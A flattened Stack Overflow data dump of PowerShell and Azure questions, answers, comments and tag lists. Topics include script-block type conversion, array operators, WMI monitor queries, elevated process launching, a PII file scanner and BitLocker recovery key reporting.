has body: The issue isn't easy to explain and requires diving deep into PowerShell source code. We can assert this issue only happens on strongly typed conversions a.k.a. variable constraints instead of casting ([bool] $var = $null vs $var = [bool] $null). The simple answer is that there is a clear distinction between how PowerShell invokes a script block when optimized vs unoptimized and this isn't documented or it isn't well documented at least. This is proven by the following test: $expression = { [bool] $var = $null } &amp; $expression # Runs optimized, succeeds conversion . $expression # Runs unoptimized, fails conversion When the conversion fails, if we inspect $Error[0].Exception.StackTrace, in the first line we can see that the code path taken is thru ArgumentTypeConverterAttribute.Transform which attempts a lot of conversions before failing. Trace-Command can help you see all conversion attempts performed by PowerShell: Trace-Command TypeConversion { [bool] $var = $null } -PSHost As for when the conversion succeeds, when running optimized, we can see that a different code path is taken. There is a great cmdlet from the ScriptBlockDisassembler Module that can help us see what method is called: { [bool] $var = $null } | Get-ScriptBlockDisassembly -Minimal The following outputs: // ScriptBlock.EndBlock try { locals.Item009 = Fake.Dynamic&lt;Func&lt;CallSite, object, bool&gt;&gt;( PSConvertBinder.Get(typeof(bool)))(null); } catch (FlowControlException) { throw; } catch (Exception exception) { ExceptionHandlingOps.CheckActionPreference(funcContext, exception); } Then from here you can see that Powershell uses PSConvertBinder.Get to perform the optimized conversion. The code for this class isn't easy to follow but what is likely to happen in this case is that the conversion ends up running thru a delegate of LanguagePrimitives. To put it simple, something like this ends up happening: [System.Management.Automation.LanguagePrimitives]::ConvertTo($null, [bool]) # doesn't fail…
has comment: http://stackoverflow.com/comment/139528555
type: AcceptedAnswer

http://stackoverflow.com/comment/139547056
comment on: http://stackoverflow.com/q/79133521
has text: That's unfortunate to hear, but remember that any responses here - whether comments or answers - aren't _only_ directed to the asker, but also to future readers. Note that there's also a way to install VS Code in a user-specific manner, which doesn't require elevation (administrative privileges).
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79244649
score: 4
upvote count: 4
downvote count: 0
answers question: http://stackoverflow.com/q/79244582
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79244582
has body: Reason why the third example works is because there is no comma before the Get-ChildItem expression. See comma operator , details: In expression mode, as a unary operator, the comma creates an array with just one member. $arr = @( , (0..10)) $arr[0] # 0 # 1 # 2 # etc It's like doing: $item = [object[]]::new(1) $item[0] = 0..10 $arr = @($item) $arr[0] # 0 # 1 # 2 # etc If you put all expressions in a single line then you're essentially risking creating a jagged array when Get-ChildItem outputs 2 or more items: $arr = @( 'valueFoo', 'valueBar', (0..2) ) $arr[2] # 0 # 1 # 2 And if it returns no items then you would end up with a null element: $arr = @( 'valueFoo', 'valueBar', (&amp; { }) ) $arr.Count # 3 (Index 2 is `$null`) If you're using the Array subexpression operator @( ) and want to put all elements in a single line, then the best you can do is to use ; as your item separator (which symbolizes a new line / new statement): $arr = @( 'valueFoo'; 'valueBar'; (0..2) ) $arr.Count # 5 (the third expression was enumerated) $arr = @( 'valueFoo'; 'valueBar'; (&amp; { }) ) $arr.Count # 2 (`AutomationNull.Value` didn't count as array element)
type: Answer

http://stackoverflow.com/comment/139728913
comment on: http://stackoverflow.com/q/79239103
score: 0
type: QuestionComment
has text: Winget is not a PowerShell cmdlet
type: Comment

amazon-ec2
tag name: amazon-ec2
tags question: http://stackoverflow.com/q/79147272
type: Tag

http://stackoverflow.com/q/79078432
has title: Powershell: Saving output to variable
score: 1
upvote count: 1
duplicate of: http://stackoverflow.com/q/48807857
favorite count: 0
tagged with: variables
type: Question
linked to: http://stackoverflow.com/q/48807857
tagged with: get-wmiobject
has body: I want to save an output to a variable, but it saves more characters than I want to save. I use: $InstallLocation1 = Get-WmiObject -Class Win32_Product -Filter 'Name like &quot;%FAS%&quot;' | Select InstallLocation But then my variable contains: @{InstallLocation=C:\Program Files\inray\FAS\} But the content I need is: C:\Program Files\inray\FAS\
answer count: 1
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79078439
downvote count: 0
tagged with: powershell
accepted answer: http://stackoverflow.com/a/79078439
has comment: http://stackoverflow.com/comment/139437709

http://stackoverflow.com/q/79146054
type: Question
answer count: 1
score: 2
upvote count: 2
downvote count: 0
tagged with: powershell
type: UnansweredQuestion
has title: PowerShell Process files in parallel - Error
favorite count: 0
has body: I'm having an issue with the code below and cannot figure out why I'm missing something. Could someone help me out? I've also included the error, I am using PowerShell v7. The code basically should scan a directory and all sub directories for PII data in those file formats. Ideally output the full file path of the items with PII data. Thanks ERROR: Line | 109 | $results = $files | ForEach-Object -Parallel { | ~~~~~~~~~~~~~~~~~~~~~~~~~~ | Parameter set cannot be resolved using the specified named parameters. One or more parameters issued cannot be | used together or an insufficient number of parameters were provided. CODE: # Import necessary modules Import-Module ImportExcel -ErrorAction Stop # Import-Module PSWord -ErrorAction Stop # Import-Module PSWriteWord -ErrorAction Stop # Import-Module PdfTools -ErrorAction Stop # Define PII patterns $patterns = @{ "Email" = "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" "Phone" = "\b\d{3}[-. ]?\d{3}[-. ]?\d{4}\b" "SSN" = "\b\d{3}-\d{2}-\d{4}\b" "CreditCard" = "\b(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6(?:011|5[0-9][0-9])[0-9]{12}|3[47][0-9]{13}|3(?:0[0-5]|[68][0-9])[0-9]{11}|(?:2131|1800|35\d{3})\d{11})\b" } # Define file types and search paths $fileTypes = ".txt", ".csv", ".xlsx", ".docx", ".pdf" $searchPaths = @( "E:\Documents" ) function Search-PIIInFile { param ( [string]$filePath, [hashtable]$patterns ) $results = @() $fileExtension = [System.IO.Path]::GetExtension($filePath).ToLower() $content = "" # Open and read file based on type switch ($fileExtension) { ".txt" { $content = Get-Content -Path $filePath -Raw -ErrorAction Stop } ".csv" { $content = Import-Csv -Path $filePath | Out-String } ".xlsx" { $headerNames = 1..100 | ForEach-Object { "Column$_" } $content = Import-Excel -Path $filePath -HeaderName $headerNames | Out-String } ".docx" { $doc = Get-WordText -FilePath $filePath $content = $doc | Out-String } ".pdf" { $content = Get-PdfText -Path $filePath -ErrorAction Stop } default { Write-Warning "Unsup…
has answer: http://stackoverflow.com/a/79146113

http://stackoverflow.com/a/79077603
type: Answer
score: 2
upvote count: 2
downvote count: 0
accepted answer of: http://stackoverflow.com/q/79077437
has comment: http://stackoverflow.com/comment/139434932
has comment: http://stackoverflow.com/comment/139434947
has comment: http://stackoverflow.com/comment/139435003
type: AcceptedAnswer
has body: You are overthinking. # Create the Id array. # Prepending [int[]] forces it to be a Int Array, otherwise it will be a Object # Array containing Int objects. [int[]]$idRange = 1, 2, 3 # Assigning a Foreach to a Variable causes every Success Stream(stdOut) output # in the loop to be added to the Variable as a array element. # This is more efficient than adding each element individually unless you need # to add\remove elements later: in that case look for Lists. # Prepending [hashtable[]] forces it to be a Hastables Array, otherwise it will # be a Object Array containing Hashtable objects. [hashtable[]]$aoo = foreach ($id in $idRange) { # this creates a Single Property Hashtable with the property Id with value # $id and pushes it to the Success Stream, thus being captured by the $aoo # variable as one element of its array. @{id = $id } } $aoo PS ~&gt; .\test.ps1 Name Value ---- ----- id 1 id 2 id 3
has comment: http://stackoverflow.com/comment/139435151
answers question: http://stackoverflow.com/q/79077437

http://stackoverflow.com/q/79135883
answer count: 1
has answer: http://stackoverflow.com/a/79136043
has comment: http://stackoverflow.com/comment/139541351
tagged with: microsoft-graph-api
has comment: http://stackoverflow.com/comment/139541370
has body: I am tryig to get my deleted email to permanently delete them. I can login no problem and the do the following $USER_EMAIL = "test1@test.com" az login $TOKEN=$(az account get-access-token --resource https://graph.microsoft.com --client-id $CLIENT_ID --client-secret $CLIENT_SECRET --tenant $TENANT_ID --query accessToken -o tsv) $deletedEmailIds=$(curl -s -X GET "https://graph.microsoft.com/v1.0/users/$USER_EMAIL/mailFolders/deletedItems/messages" -H "Authorization: Bearer $TOKEN" | jq -r '.value[].id') The issue is that when it tries to run the curl cmd it gives an error Invoke-WebRequest : A positional parameter cannot be found that accepts argument 'https://graph.microsoft.com/v1.0/users/test1@test.com/mailFolders/deletedItems/messages'. How can i get this to work ? Or is there already a Powershell script that does all of this ? Or can i do it in Azure ?
tagged with: powershell
tagged with: azure-active-directory
type: UnansweredQuestion
tagged with: azure
score: 0
has comment: http://stackoverflow.com/comment/139541203
has title: How can i get my email message ids using graph explorer and azure cli?
type: Question

http://stackoverflow.com/comment/139461396
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79085336
has text: Please provide enough code so others can better understand or reproduce the problem.

http://stackoverflow.com/q/79128851
has body: The machines I am scanning have 2-3 monitors. This command does almost everything that I need. Get-CimInstance WmiMonitorID -Namespace root\wmi However my report needs to include resolution and refresh rate of the monitors. I had actually figured this out before but can't remember how I did it. I am specifically looking these properties OF EACH MONITOR: HorizontalResolution VerticalResolution MaxRefreshRate RefreshRate I believe I used: Get-WMiObject or get-ciminstance and then somehow used CIM_MonitorResolution (https://learn.microsoft.com/en-us/windows/win32/cimwin32prov/cim-monitorresolution) I also tried: For ciminstace I used: get-ciminstance -classname CIM_MonitorResolution get-ciminstance -classname CIM_MonitorResolution -Namespace "root\cimv2" These never errored out but they also don't display anything. This got me close: Get-CimInstance -Namespace "root\cimv2" -ClassName "CIM_VideoControllerResolution" but it displays every single resolution and refresh that your monitors can use but it doesn't say what monitor. Does anyone know how I would get those properties for the monitors using powershell without any 3rd party utilities like from Nirsoft. I am specifically looking these properties OF EACH MONITOR: HorizontalResolution; VerticalResolution; MaxRefreshRate; RefreshRate;
tagged with: cim
favorite count: 0
has comment: http://stackoverflow.com/comment/139528345
has comment: http://stackoverflow.com/comment/139529106
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/79129510
has comment: http://stackoverflow.com/comment/139528571
has title: How to query a machine with multimonitors and display Resolution and refresh rate
tagged with: multiple-monitors
tagged with: windows
type: Question
linked to: http://stackoverflow.com/q/10237937
upvote count: 2
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/139529226
linked to: http://stackoverflow.com/q/43187663
score: 2
has comment: http://stackoverflow.com/comment/139529150
tagged with: powershell

http://stackoverflow.com/a/79140197
has comment: http://stackoverflow.com/comment/139553082
answers question: http://stackoverflow.com/q/79140018
score: 0
has body: you cannot run a conda installation made under windows in WSL, because that is a linux subsystem and cannot natively run windows applications. You will need to download and install anaconda to WSL seperately. making conda available to run from powersehll is not just a matter of adding a directory to PATH, the correct approach is to initialize conda for a certain terminal via conda init. First, remove your modifications to PATH, then open the Anaconda (Powershell) Prompt or Anaconda Command Prompt which you can find via the search function in the start menu. From there type conda init powershell. Then try running conda commands from a "normal" powershell session. Alternatively, you can use the Anaconda (Powershell) Prompt in all cases that you do need conda. It is nothing more than a normal powershell session with an additional initialization step for conda commands
has comment: http://stackoverflow.com/comment/139551753
has comment: http://stackoverflow.com/comment/139553894
type: Answer

active-directory
tags question: http://stackoverflow.com/q/79223805
tags question: http://stackoverflow.com/q/79098825
tags question: http://stackoverflow.com/q/79132168
type: Tag
tags question: http://stackoverflow.com/q/79116129
tags question: http://stackoverflow.com/q/79100351
tags question: http://stackoverflow.com/q/79208836
tags question: http://stackoverflow.com/q/79179274
tags question: http://stackoverflow.com/q/79139393
tags question: http://stackoverflow.com/q/79102031
tags question: http://stackoverflow.com/q/79201860
tag name: active-directory
tags question: http://stackoverflow.com/q/79350561
tags question: http://stackoverflow.com/q/79359034
tags question: http://stackoverflow.com/q/79390622
tags question: http://stackoverflow.com/q/79393539
tags question: http://stackoverflow.com/q/79378997
tags question: http://stackoverflow.com/q/79326018
tags question: http://stackoverflow.com/q/79411096
tags question: http://stackoverflow.com/q/79419318
tags question: http://stackoverflow.com/q/79395359
tags question: http://stackoverflow.com/q/79260249
tags question: http://stackoverflow.com/q/79525278
tags question: http://stackoverflow.com/q/79486760
tags question: http://stackoverflow.com/q/79534556
tags question: http://stackoverflow.com/q/79538876
tags question: http://stackoverflow.com/q/79476092
tags question: http://stackoverflow.com/q/79502132
tags question: http://stackoverflow.com/q/79510257
tags question: http://stackoverflow.com/q/79508075

http://stackoverflow.com/comment/139688889
has text: @not2qubit typo, fixed thx
type: AnswerComment
comment on: http://stackoverflow.com/a/79216575
type: Comment
score: 0

http://stackoverflow.com/comment/139446661
score: 0
has text: There's a separate [endpoint for branches](https://learn.microsoft.com/en-us/rest/api/azure/devops/tfvc/branches), but nothing there seems to provide a clue as to how to correlate branches with changesets.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79079754

databricks-cli
tags question: http://stackoverflow.com/q/79085917
type: Tag
tag name: databricks-cli

http://stackoverflow.com/a/79131379
has comment: http://stackoverflow.com/comment/139539026
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/79131331
has comment: http://stackoverflow.com/comment/139533133
has comment: http://stackoverflow.com/comment/139533082
has comment: http://stackoverflow.com/comment/139539527
has comment: http://stackoverflow.com/comment/139533127
has body: The immediate problem with your approach is that you were missing an escaped closing ":[1] ' Note the \"" before the closing " ' To run the elevated pwsh.exe process *synchronously*, i.e. to wait ' for it to exit, add -Wait before -Verb RunAs strCommand = "pwsh.exe -c Start-Process -Verb RunAs pwsh.exe \""-ExecutionPolicy Unrestricted -NoExit -f `\""C:\PowerShell Scripts\Disable Network Temporarily.ps1`\""\""" Note that if you run the resulting command line from a non-elevated process, you'll get an interactive UAC prompt to authorize creation of an elevated process (a process running with administrative privileges, as requested via Start-Process -Verb RunAs). The only way to avoid UAC prompts is to either run in an elevated process to begin with or to disable (parts of) UAC altogether, which is strongly discouraged. Otherwise, there's only a limited workaround: Assuming that you are an administrator in principle, you can set up a scheduled task with a preconfigured command to be run with elevation, which you can then invoke on demand from a non-elevated process of yours without triggering a UAC prompt. See this answer for more information. However, this presents a follow-up problem: you're reading the stdout and stderr streams of the outer, transitory pwsh.exe, which will be empty, given that the nested, elevated pwsh.exe process launches in a new window, which means that its output streams aren't connected to the outer process. Note: Neither your outer pwsh.exe call (the one that facilitates launching another pwsh.exe process with elevation) nor your *.ps1 script are designed to produce output, so perhaps you don't need to solve this problem - assuming that no errors occur; if you do want to capture any errors, however, the problem does need solving. Your only option is to capture the elevated process' output streams in (temporary) files. While Start-Process does offer -RedirectStandardOutput and -RedirectStandardError parameters that accept file paths, they can n…
accepted answer of: http://stackoverflow.com/q/79131331
has comment: http://stackoverflow.com/comment/139539255
has comment: http://stackoverflow.com/comment/139533167
has comment: http://stackoverflow.com/comment/139533078
score: 10
type: AcceptedAnswer
upvote count: 10

http://stackoverflow.com/comment/139431590
score: 0
comment on: http://stackoverflow.com/q/79075932
has text: In your second approach where you want to interpolate `$pw` in a string (`$command`) you will need to convert that string into a Scriptblock before passing it as argument to `Invoke-Command`, so you do `$command = [scriptblock]::Create("New-LocalUser .....")`
type: QuestionComment
type: Comment

azure
tags question: http://stackoverflow.com/q/79135538
tags question: http://stackoverflow.com/q/79184599
tags question: http://stackoverflow.com/q/79188856
tags question: http://stackoverflow.com/q/79128008
tags question: http://stackoverflow.com/q/79162045
tags question: http://stackoverflow.com/q/79222783
tags question: http://stackoverflow.com/q/79099681
tags question: http://stackoverflow.com/q/79212736
tags question: http://stackoverflow.com/q/79099308
type: Tag
tags question: http://stackoverflow.com/q/79096023
tags question: http://stackoverflow.com/q/79093007
tags question: http://stackoverflow.com/q/79104926
tags question: http://stackoverflow.com/q/79229813
tags question: http://stackoverflow.com/q/79156956
tags question: http://stackoverflow.com/q/79153871
tags question: http://stackoverflow.com/q/79136057
tags question: http://stackoverflow.com/q/79206642
tags question: http://stackoverflow.com/q/79181232
tags question: http://stackoverflow.com/q/79071809
tags question: http://stackoverflow.com/q/79161585
tags question: http://stackoverflow.com/q/79225874
tags question: http://stackoverflow.com/q/79244293
tags question: http://stackoverflow.com/q/79193823
tags question: http://stackoverflow.com/q/79135883
tags question: http://stackoverflow.com/q/79208253
tag name: azure
tags question: http://stackoverflow.com/q/79223169
tags question: http://stackoverflow.com/q/79102062
tags question: http://stackoverflow.com/q/79096641
tags question: http://stackoverflow.com/q/79125853
tags question: http://stackoverflow.com/q/79099651
tags question: http://stackoverflow.com/q/79345015
tags question: http://stackoverflow.com/q/79312049
tags question: http://stackoverflow.com/q/79325726
tags question: http://stackoverflow.com/q/79255591
tags question: http://stackoverflow.com/q/79331379
tags question: http://stackoverflow.com/q/79335299
tags question: http://stackoverflow.com/q/79323653
tags question: http://stackoverflow.com/q/79272156
tags question: http://stackoverflow.com/q/79346257
tags question: http://stackoverflow.com/q/79409855
tags question: http://stackoverflow.com/q/79400817
tags question: http://stackoverflow.com/q/79362037
tags question: http://stackoverflow.com/q/79279207
tags question: http://stackoverflow.com/q/79245155
tags question: http://stackoverflow.com/q/79291055
tags question: http://stackoverflow.com/q/79347039
tags question: http://stackoverflow.com/q/79352579
tags question: http://stackoverflow.com/q/79279965
tags question: http://stackoverflow.com/q/79253851
tags question: http://stackoverflow.com/q/79290835
tags question: http://stackoverflow.com/q/79322753
tags question: http://stackoverflow.com/q/79375029
tags question: http://stackoverflow.com/q/79367371
tags question: http://stackoverflow.com/q/79292665
tags question: http://stackoverflow.com/q/79287889
tags question: http://stackoverflow.com/q/79349700
tags question: http://stackoverflow.com/q/79275937
tags question: http://stackoverflow.com/q/79334181
tags question: http://stackoverflow.com/q/79278526
tags question: http://stackoverflow.com/q/79297824
tags question: http://stackoverflow.com/q/79280712
tags question: http://stackoverflow.com/q/79285339
tags question: http://stackoverflow.com/q/79457431
tags question: http://stackoverflow.com/q/79489186
tags question: http://stackoverflow.com/q/79537084
tags question: http://stackoverflow.com/q/79514239
tags question: http://stackoverflow.com/q/79535515
tags question: http://stackoverflow.com/q/79518747
tags question: http://stackoverflow.com/q/79439368
tags question: http://stackoverflow.com/q/79523633
tags question: http://stackoverflow.com/q/79504639
tags question: http://stackoverflow.com/q/79466019
tags question: http://stackoverflow.com/q/79523267
tags question: http://stackoverflow.com/q/79475834
tags question: http://stackoverflow.com/q/79523280
tags question: http://stackoverflow.com/q/79469875
tags question: http://stackoverflow.com/q/79510254
tags question: http://stackoverflow.com/q/79539689

http://stackoverflow.com/a/79138834
has comment: http://stackoverflow.com/comment/139546755
has comment: http://stackoverflow.com/comment/139547302
type: Answer
score: 0
has body: You could use WMI instead. This way you get a list of objects you can filter on. Get-WmiObject -ComputerName computername -Class Win32_Share | Where-Object -FilterScript { !$_.Name.EndsWith('$') } Let me know if it works for you.
answers question: http://stackoverflow.com/q/79138711

http://stackoverflow.com/q/79211988
type: Question
has body: I have a script that will look through all files in some folders and then search for text inside them. The problem is that I want it to selectively only search through files that are not binary in nature. This seems quite difficult to do. I've tried to combine many techniques, but it still fails to work properly (in that many files, e.g., C:\csb.log which appears to be a system file of some kind, are flagged as binary, but they are not, and are just text files, and then there are files like PDF or EPUB / MOBI which are sort of text, but sort of not; it's quite confusing). I particularly don't like having to have lines like the below $binaryExtensions = @('.exe', '.dll', '.bin', '.iso', '.zip', '.tar', '.rar', '.7z', '.gz', '.pdf', '.epub', '.mobi', '.azw', '.azw2', '.azw3') as I'd like to think we can quickly detect the nature of a file without relying upon it's file extension. How can we detect (hopefully simply) files that are not binary and so can be cleanly searched through for text, and possibly also files that are partly binary and partly text, like PDF, EPUB, MOBI, and ignore the binary parts but cleanly search for the text in the not binary parts)? Here is my PowerShell attempt so far. function Is-BinaryFile { param ( [string]$FilePath, [switch]$errors ) # Define the log file path based on the function name $functionName = $MyInvocation.MyCommand.Name $logFile = "$Env:TEMP\$functionName.log" # If $errors is specified without $FilePath, output the log file contents if ($errors -and -not $FilePath) { if (Test-Path $logFile) { Get-Content -Path $logFile } else { Write-Host "Log file not found: $logFile" } return } # If the FilePath is a directory, consider it to be a 'binary file' for this and return true if ((Test-Path $FilePath) -and (Get-Item $FilePath).PSIsContainer) { return $true } # Check for common binary file extensions before reading the file $binaryExtensions = @('.exe', '.dll', '.bin', '.iso', '.zip', '.tar', '.rar', '.7z', '.gz', '.pdf', '.epub', '…
tagged with: binaryfiles
downvote count: 0
tagged with: text
tagged with: ascii
has comment: http://stackoverflow.com/comment/139680346
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/139680334
tagged with: powershell
has answer: http://stackoverflow.com/a/79221234
type: UnansweredQuestion
favorite count: 0
has answer: http://stackoverflow.com/a/79213051
linked to: http://stackoverflow.com/q/910873
has answer: http://stackoverflow.com/a/79212301
has comment: http://stackoverflow.com/comment/139680098
answer count: 3
has title: PowerShell, distinguish between files that are text or binary in nature

http://stackoverflow.com/comment/139552022
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79141731
has text: @Mark Ransom, That's what the question is about. The OP used `dir2..`, which I renamed to `f..` since they didn't provide enough components. I made a small change to the question that should make it much clearer.
type: AnswerComment

http://stackoverflow.com/q/79200338
has comment: http://stackoverflow.com/comment/139660366
has title: Extracting Windows File Properties (Custom Properties) with Powershell for uncommon file types
tagged with: powershell
tagged with: file
has comment: http://stackoverflow.com/comment/139663423
has comment: http://stackoverflow.com/comment/139665815
score: 3
upvote count: 3
linked to: http://stackoverflow.com/q/34910936
has comment: http://stackoverflow.com/comment/139670408
type: UnansweredQuestion
tagged with: windows
favorite count: 0
has comment: http://stackoverflow.com/comment/139662635
has body: Is it possible to Set & Get "CUSTOM" file properties with Powershell? I am not interested in 'Extended' file properties. What I am talking about is the file properties I can add through the Windows File Properties GUI dialog on the "Custom" tab. On the Custom tab, I can create my own file property name and set its Type ( Text, Date, Number, Yes/No ) and its Value. My question is quite similar to the ones described here, with the small difference that my files are not Microsoft Office Documents, MP3, JPG's or other common file types: https://stackoverflow.com/questions/35451540/extracting-windows-file-properties-custom-properties-c-sharp https://stackoverflow.com/questions/62564356/set-get-custom-file-properties-with-powershell However, if any solution is given, it usually just read the "Extended Details" and not the Custom Properties. Furthermore, all approaches are quite old (10+ years), so I would be glad about a more modern approach to read and modify the custom properties. So far I tried in Python (win32api, openpyxl), VBA (GetCustomProperties) and many forums. Here is an example in Powershell: $filePath = "C:\mypath\myfile.uncommonfileextension" $shell = New-Object -ComObject Shell.Application $folder = $shell.Namespace([System.IO.Path]::GetDirectoryName($filePath)) $file = $folder.ParseName([System.IO.Path]::GetFileName($filePath)) for ($i = 0; $i -lt 266; $i++) { $propName = $folder.GetDetailsOf($null, $i) $propValue = $folder.GetDetailsOf($file, $i) if ($propValue) { Write-Host "$propName = $propValue" } }
tagged with: properties
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/139659838
linked to: http://stackoverflow.com/q/35451540
downvote count: 0
has comment: http://stackoverflow.com/comment/139659177
linked to: http://stackoverflow.com/q/62564356

http://stackoverflow.com/q/79100351
favorite count: 0
has comment: http://stackoverflow.com/comment/139539231
has comment: http://stackoverflow.com/comment/139508785
tagged with: active-directory
has comment: http://stackoverflow.com/comment/139502507
has body: I am trying to write a script that performs the above task. Specifically, I am looking to pull a list of computer names and recovery key dates, but ONLY if the LATEST recovery key was created before a specific date. I have the list of computers from the OU in the variable $computers. So far I am using the below code and I get "error fetching recovery information for "insert computer name here": Directory object not found" for each computer. Even though it is pulling the distinguished name successfully from the object, so I'm not sure why it would say "directory object not found". foreach ($computer in $computers) { Write-Output "Processing computer: $computer" try { $computerObject = Get-ADComputer -Identity $computer -Server "yourdomain.com" $computerDN = $computerObject.DistinguishedName Write-Output "Computer DistinguishedName: $computerDN" $recoveryKeys = Get-ADObject -Filter { objectClass -eq "msFVE-RecoveryInformation" } -SearchBase "CN=Microsoft BitLocker Drive Encryption Recovery Information,$computerDN" -Properties WhenCreated, msFVE-RecoveryPassword if ($recoveryKeys) { $latestKey = $recoveryKeys | Sort-Object WhenCreated -Descending | Select-Object -First 1 if ($latestKey.WhenCreated -lt $date) { Write-Output "Computer: $computer" Write-Output "Recovery Key Created: $($latestKey.WhenCreated)" Write-Output "Recovery Key: $($latestKey.'msFVE-RecoveryPassword')" } else { Write-Output "No recovery keys newer than $date found for $computer" } } else { Write-Output "No recovery keys found for $computer" } } catch { Write-Output ("Error fetching recovery information for ${computer}: " + $_.Exception.Message) } }
has comment: http://stackoverflow.com/comment/139529385
type: Question
has comment: http://stackoverflow.com/comment/139503542
has comment: http://stackoverflow.com/comment/139539746
has comment: http://stackoverflow.com/comment/139527255
has comment: http://stackoverflow.com/comment/139509697
has comment: http://stackoverflow.com/comment/139507027
has comment: http://stackoverflow.com/comment/139502777
answer count: 0
has comment: http://stackoverflow.com/comment/139522927
downvote count: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139510345
has title: Powershell Script to pull all computers in an OU that latest Bitlocker Recovery key is older than a specified date
has comment: http://stackoverflow.com/comment/139504221
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139508217
tagged with: bitlocker
has comment: http://stackoverflow.com/comment/139503213
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/139528975

http://stackoverflow.com/comment/139541755
score: 1
comment on: http://stackoverflow.com/q/79135538
has text: I have added code. Please let me know if you want me include something else as well. @Jahnavi
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79284166
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/79226757
accepted answer of: http://stackoverflow.com/q/79226757
score: 0
has body: The error 0x800706BE is apparently quite commonly used by the WMI framework, if you look at the various reports on the Internet. Unfortunately, the event logs are also unusable. In my case, the cause was ultimately quite simple. When restructuring the sample code in https://learn.microsoft.com/en-us/windows/win32/wmisdk/supplying-data-to-wmi-by-writing-a-provider, I had built in an error: The method DllGetClassObject deleted the factory after its use even if QueryInterface was successful. As a result, the CreateInstance method could of course never be called.

http://stackoverflow.com/a/79228299
upvote count: 1
answers question: http://stackoverflow.com/q/79227388
has comment: http://stackoverflow.com/comment/139709778
downvote count: 0
type: Answer
has body: Assuming your intention is to read strings that contain floating point numbers in European format, where . is the number group (thousands) separator and , is the decimal separator, it seems like something like this would work: $numberFormatInfo = New-Object Globalization.NumberFormatInfo $numberFormatInfo.NumberDecimalSeparator = "," $numberFormatInfo.NumberGroupSeparator = "." [Single]::Parse("0,6774",$numberFormatInfo) # Outputs 0.6774 [Single]::Parse("1.490,967",$numberFormatInfo) # Outputs 1490.967 [Single]::Parse("114,9",$numberFormatInfo) # Outputs 114.9 [Single]::Parse("1.218,3547",$numberFormatInfo) # Outputs 1218.355
score: 1

http://stackoverflow.com/q/79118908
has answer: http://stackoverflow.com/a/79126005
has comment: http://stackoverflow.com/comment/139510752
possible better answer: http://stackoverflow.com/a/79126005
accepted answer: http://stackoverflow.com/a/79134482
type: Question
has answer: http://stackoverflow.com/a/79134482
tagged with: powershell
has comment: http://stackoverflow.com/comment/139510747
answer count: 3
has comment: http://stackoverflow.com/comment/139510780
linked to: http://stackoverflow.com/q/78352606
has comment: http://stackoverflow.com/comment/139510975
has body: I have an issue, where I have to purge folders, the name of the folders are most of the time formated and I did a script in powershell to do that. But I understood that even if I do : Get-ChildItem -Path $array[2] -Recurse -Directory the command will check every item in every folder even if that is not a folder, and that is leading to some hours to get every folder path. how should I do to permit that to perform in term of time ? here is a part of the script foreach ($line in Get-Content ".\Exe-Purge-directories.txt") { $array = $line.Split("|") $deleteType = $array[0] $sdate = [int]$array[1] * -1 # nb de jour a retrancher ( nb negatif) $expiredDate = (Get-Date).AddDays($sdate) # today + date a retrancher $folders = Get-ChildItem -Path $array[2] -Recurse -Directory -Force -ErrorAction SilentlyContinue #the line above is the one taking time $pathException = Get-ChildItem -Path $array[2] -File #-Force #-ErrorAction SilentlyContinue if ($deleteType.Equals("DateTimeInFolderName")) { foreach ($folder in $folders) { if ($folder.Name -match '^\d{4}-\d{2}$') # .....
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79121943
has title: what is the best way to in powershell for finding only folder in term of time performance
score: 0
tagged with: performance
has comment: http://stackoverflow.com/comment/139510275
has comment: http://stackoverflow.com/comment/139510684

http://stackoverflow.com/comment/139632549
has text: Wrap your "command" in double quotes `"`.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79185230

twincat
tags question: http://stackoverflow.com/q/79234580
tag name: twincat
type: Tag

http://stackoverflow.com/a/79181769
score: 1
accepted answer of: http://stackoverflow.com/q/79181232
upvote count: 1
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/79181232
type: Answer
has body: How can I figure out actions myself to use with Invoke-AzResourceAction? az-resource-invoke-action is the equivalent Azure CLI command of Invoke-AzResourceAction. The documentation says (emphasis mine): A list of possible actions corresponding to a resource can be found at https://docs.microsoft.com/rest/api/. All POST requests are actions that can be invoked and are specified at the end of the URI path. For instance, to List Function Keys, the request URI is https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/sites/{name}/functions/{functionName}/listkeys?api-version=2024-04-01 So if I understand correctly the corresponding action is listkeys (see the end of the URL: .../listkeys?...). Running the correspondent Invoke-AzResourceAction command: Invoke-AzResourceAction -Action "listkeys" ` -ResourceId "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/sites/{name}/functions/{functionName}" ` -ApiVersion "2024-04-01" Regarding the Azure Resource Explorer, it seems the actions can be found in the name property of the json displayed in the screenshot (the ones that end with /action). Format seems to be the following: /{resource-type}/{action-name}/action

http://stackoverflow.com/q/79095089
score: 0
